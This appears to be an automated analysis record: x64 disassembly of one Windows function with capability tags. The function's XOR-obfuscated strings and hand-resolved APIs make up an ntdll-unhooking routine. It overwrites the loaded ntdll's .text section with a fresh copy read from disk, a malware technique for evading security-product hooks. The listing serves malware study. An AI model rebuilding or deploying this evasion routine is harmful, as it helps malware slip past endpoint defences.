Function at 0x140005ed0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rsi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x90]
sub rsp, 0x190
movaps xmmword [rsp + 0x180], xmm6
mov rax, qword [0x140017048]
xor rax, rsp
mov qword [rbp + 0x70], rax
mov dword [rbp - 0x40], 0x6d65756f
xor eax, eax
mov dword [rbp - 0x3c], 0x6d652f6d
mov word [rbp - 0x38], 0x6d
mov dword [rbp + 0x20], 0x765d3b62
mov dword [rbp + 0x24], 0x6e656f68
mov dword [rbp + 0x28], 0x725d7276
mov dword [rbp + 0x2c], 0x64757278
mov dword [rbp + 0x30], 0x5d33326c
mov dword [rbp + 0x34], 0x6d65756f
mov dword [rbp + 0x38], 0x6d652f6d
mov word [rbp + 0x3c], 0x6d
mov dword [rbp + 8], 0x42756446
mov dword [rbp + 0xc], 0x64737374
mov dword [rbp + 0x10], 0x7351756f
mov dword [rbp + 0x14], 0x7264626e
mov byte [rbp + 0x19], 0
mov dword [rbp - 0x10], 0x4c756446
mov dword [rbp - 0xc], 0x6d74656e
mov dword [rbp - 8], 0x6f604964
mov dword [rbp - 4], 0x40646d65
mov byte [rbp], 0
mov byte [rbp + 0x4b], 0
mov dword [rbp - 0x30], 0x5771604c
mov dword [rbp - 0x2c], 0x4e766468
mov dword [rbp - 0x28], 0x6d684767
mov word [rbp - 0x24], 0x64
mov dword [rbp - 0x20], 0x75736857
mov dword [rbp - 0x1c], 0x516d6074
mov dword [rbp - 0x18], 0x64756e73
mov word [rbp - 0x14], 0x7562
mov byte [rbp - 0x12], 0
mov byte [rbp + 0x5b], 0
mov byte [rbp + 0x6b], 0
mov dword [rsp + 0x50], 3
mov byte [rsp + 0x54], 0x68
mov byte [rsp + 0x55], 0x66
mov byte [rsp + 0x56], 0x71
mov byte [rsp + 0x57], 0x6d
mov byte [rsp + 0x58], 0x66
mov byte [rsp + 0x59], 0x6f
mov byte [rsp + 0x5a], 0x30
mov byte [rsp + 0x5b], 0x31
mov byte [rsp + 0x5c], 0x2d
mov byte [rsp + 0x5d], 0x67
mov byte [rsp + 0x5e], 0x6f
mov byte [rsp + 0x60], al
mov byte [rsp + 0x5f], 0x6f
movzx eax, byte [rsp + 0x54]
xor eax, eax
mov edx, eax
nop word [rax + rax]
movzx eax, byte [rsp + rdx + 0x54]
mov ecx, dword [rsp + 0x50]
xor cl, al
mov byte [rsp + rdx + 0x54], cl
inc rdx
cmp rdx, 0xc
jb 0x140006030
lea rcx, [rsp + 0x54]
mov byte [rsp + 0x60], 0
call fcn.1400024f0
movdqu xmm0, xmmword [rbp + 8]
xor edx, edx
mov rsi, rax
movdqa xmm6, xmmword [0x140011df0]
movdqa xmm1, xmm6
mov qword [rbp - 0x68], rax
xorps xmm1, xmm0
mov byte [rbp + 0x18], 0x73
movdqu xmm0, xmmword [rbp - 0x10]
mov dword [rbp + 0x40], 0x61657243
mov eax, edx
movdqa xmm2, xmm6
mov dword [rbp + 0x44], 0x69466574
xorps xmm2, xmm0
mov word [rbp + 0x48], 0x656c
movdqu xmmword [rbp - 0x10], xmm2
mov byte [rbp + 0x4a], 0x41
movdqu xmmword [rbp + 8], xmm1
nop dword [rax + rax]
xor byte [rbp + rax - 0x30], 1
inc rax
cmp rax, 0xd
jl 0x1400060b0
mov rax, rdx
xor byte [rbp + rax - 0x20], 1
inc rax
cmp rax, 0xe
jl 0x1400060c1
movsxd rax, dword [rsi + 0x3c]
mov r9d, edx
mov qword [rsp + 0x1c0], rbx
mov qword [rsp + 0x1c8], rdi
mov dword [rbp + 0x50], 0x736f6c43
mov ecx, dword [rax + rsi + 0x88]
add rcx, rsi
mov dword [rbp + 0x60], 0x65657246
mov dword [rbp + 0x54], 0x6e614865
mov dword [rbp + 0x64], 0x7262694c
mov word [rbp + 0x58], 0x6c64
mov r12d, dword [rcx + 0x18]
mov r15d, dword [rcx + 0x1c]
mov r13d, dword [rcx + 0x24]
add r15, rsi
mov r14d, dword [rcx + 0x20]
add r13, rsi
add r14, rsi
mov word [rbp + 0x68], 0x7261
mov byte [rbp + 0x5a], 0x65
mov byte [rbp + 0x6a], 0x79
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x40], r13
mov dword [rbp - 0x48], r12d
test r12d, r12d
je 0x140006189
mov r10, r14
nop
mov r8d, dword [r10]
lea rax, [rbp + 8]
add r8, rsi
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140006173
inc rax
test ecx, ecx
jne 0x140006160
test edx, edx
je 0x140006630
inc r9d
add r10, 4
cmp r9d, r12d
jb 0x140006150
xor edx, edx
mov qword [rbp - 0x80], rdx
mov rbx, r15
mov rdi, r13
mov r10, r14
mov r9d, edx
mov r11d, r12d
test r12d, r12d
je 0x1400061e9
nop dword [rax]
nop word [rax + rax]
mov r8d, dword [r10]
lea rax, [rbp - 0x10]
add r8, rsi
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400061d3
inc rax
test ecx, ecx
jne 0x1400061c0
test edx, edx
je 0x140006658
inc r9d
add r10, 4
cmp r9d, r11d
jb 0x1400061b0
xor edx, edx
mov qword [rsp + 0x78], rdx
mov rbx, r15
mov rdi, r13
mov r10, r14
mov r9d, edx
mov r11d, r12d
test r12d, r12d
je 0x140006249
nop dword [rax]
nop word [rax + rax]
mov r8d, dword [r10]
lea rax, [rbp + 0x40]
add r8, rsi
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140006233
inc rax
test ecx, ecx
jne 0x140006220
test edx, edx
je 0x14000667e
inc r9d
add r10, 4
cmp r9d, r11d
jb 0x140006210
xor edx, edx
mov qword [rsp + 0x68], rdx
mov rbx, r15
mov rdi, r13
mov r10, r14
mov r9d, edx
mov r11d, r12d
test r12d, r12d
je 0x1400062a9
nop dword [rax]
nop word [rax + rax]
mov r8d, dword [r10]
lea rax, [rbp - 0x30]
add r8, rsi
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140006293
inc rax
test ecx, ecx
jne 0x140006280
test edx, edx
je 0x1400066a4
inc r9d
add r10, 4
cmp r9d, r11d
jb 0x140006270
xor edx, edx
mov qword [rbp - 0x78], rdx
mov rdi, r13
mov r13, rdx
mov rbx, r15
mov r10, r14
mov r9d, edx
mov r11d, r12d
test r12d, r12d
je 0x140006309
nop dword [rax]
nop dword [rax + rax]
mov r8d, dword [r10]
lea rax, [rbp - 0x20]
add r8, rsi
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400062f3
inc rax
test ecx, ecx
jne 0x1400062e0
test edx, edx
je 0x1400066cc
inc r9d
add r10, 4
cmp r9d, r11d
jb 0x1400062d0
xor edx, edx
mov rdi, qword [rsp + 0x40]
mov rbx, r15
mov qword [rbp - 0x70], rdx
mov r15, rdx
mov r10, r14
mov r9d, edx
mov r11d, r12d
test r12d, r12d
je 0x140006369
nop word [rax + rax]
mov r8d, dword [r10]
lea rax, [rbp + 0x50]
add r8, rsi
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140006353
inc rax
test ecx, ecx
jne 0x140006340
test edx, edx
je 0x1400066f6
inc r9d
add r10, 4
cmp r9d, r11d
jb 0x140006330
xor edx, edx
mov r11, qword [rsp + 0x70]
mov r9d, edx
mov rbx, qword [rsp + 0x40]
mov dword [rbp - 0x48], r12d
mov r12, rdx
mov r10d, dword [rbp - 0x48]
test r10d, r10d
je 0x1400063c9
nop word [rax + rax]
mov r8d, dword [r14]
lea rax, [rbp + 0x60]
add r8, rsi
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400063b3
inc rax
test ecx, ecx
jne 0x1400063a0
test edx, edx
je 0x14000671a
inc r9d
add r14, 4
cmp r9d, r10d
jb 0x140006390
xor edx, edx
mov r14, rdx
mov rax, qword [rbp - 0x80]
mov rsi, qword [rsp + 0x78]
mov rdi, qword [rsp + 0x68]
mov qword [rsp + 0x70], r14
test rax, rax
jne 0x140006406
test rsi, rsi
jne 0x140006406
test rdi, rdi
jne 0x140006406
test r13, r13
jne 0x140006406
test r15, r15
jne 0x140006406
test r12, r12
jne 0x140006406
test r14, r14
je 0x1400065f1
call rax
xor byte [rbp - 0x40], 1
lea rcx, [rbp - 0x40]
xor byte [rbp - 0x3f], 1
mov rbx, rax
xor byte [rbp - 0x3e], 1
xorps xmm0, xmm0
xor byte [rbp - 0x3d], 1
xor byte [rbp - 0x3c], 1
xor byte [rbp - 0x3b], 1
xor byte [rbp - 0x3a], 1
xor byte [rbp - 0x39], 1
xor byte [rbp - 0x38], 1
mov qword [rsp + 0x68], rax
xor eax, eax
mov qword [rbp - 0x50], rax
movups xmmword [rbp - 0x60], xmm0
call rsi
movdqu xmm0, xmmword [rbp + 0x20]
mov qword [rsp + 0x48], rax
mov ecx, 0x10
xorps xmm6, xmm0
movdqu xmmword [rbp + 0x20], xmm6
nop
xor byte [rbp + rcx + 0x20], 1
inc rcx
cmp rcx, 0x1d
jl 0x140006460
mov r9d, 0x18
lea r8, [rbp - 0x60]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov r15, qword [rbp - 0x60]
lea rcx, [rbp + 0x20]
xor esi, esi
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov edx, 0x80000000
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 3
lea r8d, [rsi + 1]
call rdi
mov qword [rsp + 0x78], rax
mov r13, rax
test rax, rax
je 0x1400065f1
mov qword [rsp + 0x28], rsi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], esi
mov r8d, 0x1000002
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
xor r9d, r9d
mov qword [rsp + 0x20], rsi
mov rcx, rax
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea edx, [rsi + 4]
call qword [rbp - 0x78]
movsxd rsi, dword [r15 + 0x3c]
add rsi, r15
mov qword [rbp - 0x78], rax
xor eax, eax
movzx edi, ax
cmp ax, word [rsi + 6]
jae 0x1400065ce
mov r13, qword [rbp - 0x78]
lea r8, str..text
mov r14, qword [rbp - 0x70]
mov qword [rbp - 0x80], r12
xor r12d, r12d
nop dword [rax]
nop dword [rax + rax]
movzx ecx, word [rsi + 0x14]
add rcx, rsi
movzx eax, di
lea rdx, [rax + rax*4]
lea rbx, [rcx + rdx*8]
mov rcx, r12
nop word [rax + rax]
movzx eax, byte [rbx + rcx + 0x18]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x1400065ae
cmp rcx, 6
jne 0x140006550
mov ecx, dword [rbx + 0x24]
lea r9, [rbp - 0x48]
mov edx, dword [rbx + 0x20]
add rcx, r15
mov r8d, 0x40
mov dword [rbp - 0x48], r12d
call r14
mov eax, dword [rbx + 0x24]
mov r8d, dword [rbx + 0x20]
lea rdx, [rax + r13]
lea rcx, [rax + r15]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [rbx + 0x24]
lea r9, [rbp - 0x48]
mov edx, dword [rbx + 0x20]
add rcx, r15
mov r8d, dword [rbp - 0x48]
call r14
lea r8, str..text
inc di
cmp di, word [rsi + 6]
jb 0x140006530
mov r14, qword [rsp + 0x70]
mov r12, qword [rbp - 0x80]
mov r13, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x68]
mov rcx, rbx
call r12
mov rcx, r13
call r12
mov rcx, qword [rsp + 0x40]
call r12
mov rcx, qword [rsp + 0x48]
call r14
mov rcx, qword [rbp - 0x68]
call r14
mov rdi, qword [rsp + 0x1c8]
xor eax, eax
mov rbx, qword [rsp + 0x1c0]
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.14000ed80
mov rsi, qword [rsp + 0x1d0]
movaps xmm6, xmmword [rsp + 0x180]
add rsp, 0x190
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov eax, r9d
mov rbx, r15
mov rdi, r13
mov r10, r14
mov r11d, r12d
movzx ecx, word [r13 + rax*2]
mov eax, dword [r15 + rcx*4]
add rax, rsi
mov qword [rbp - 0x80], rax
xor r9d, r9d
jmp 0x1400061b0
mov eax, r9d
mov r10, r14
mov r11d, r12d
movzx ecx, word [rdi + rax*2]
mov rdi, r13
mov eax, dword [rbx + rcx*4]
mov rbx, r15
add rax, rsi
mov qword [rsp + 0x78], rax
xor r9d, r9d
jmp 0x140006210
mov eax, r9d
mov r10, r14
mov r11d, r12d
movzx ecx, word [rdi + rax*2]
mov rdi, r13
mov eax, dword [rbx + rcx*4]
mov rbx, r15
add rax, rsi
mov qword [rsp + 0x68], rax
xor r9d, r9d
jmp 0x140006270
mov eax, r9d
mov r10, r14
mov r11d, r12d
movzx ecx, word [rdi + rax*2]
mov rdi, qword [rsp + 0x40]
mov r13d, dword [rbx + rcx*4]
mov rbx, r15
add r13, rsi
mov qword [rbp - 0x78], r13
xor r9d, r9d
jmp 0x1400062d0
mov eax, r9d
mov r10, r14
mov r11d, r12d
movzx ecx, word [rdi + rax*2]
mov rdi, qword [rsp + 0x40]
mov r15d, dword [rbx + rcx*4]
mov rbx, qword [rsp + 0x70]
add r15, rsi
mov qword [rbp - 0x70], r15
xor r9d, r9d
jmp 0x140006330
mov r10d, dword [rbp - 0x48]
mov r11, qword [rsp + 0x70]
mov eax, r9d
movzx ecx, word [rdi + rax*2]
mov r12d, dword [rbx + rcx*4]
mov rbx, qword [rsp + 0x40]
add r12, rsi
xor r9d, r9d
jmp 0x140006390
mov eax, r9d
movzx ecx, word [rbx + rax*2]
mov r14d, dword [r11 + rcx*4]
add r14, rsi
jmp 0x1400063cc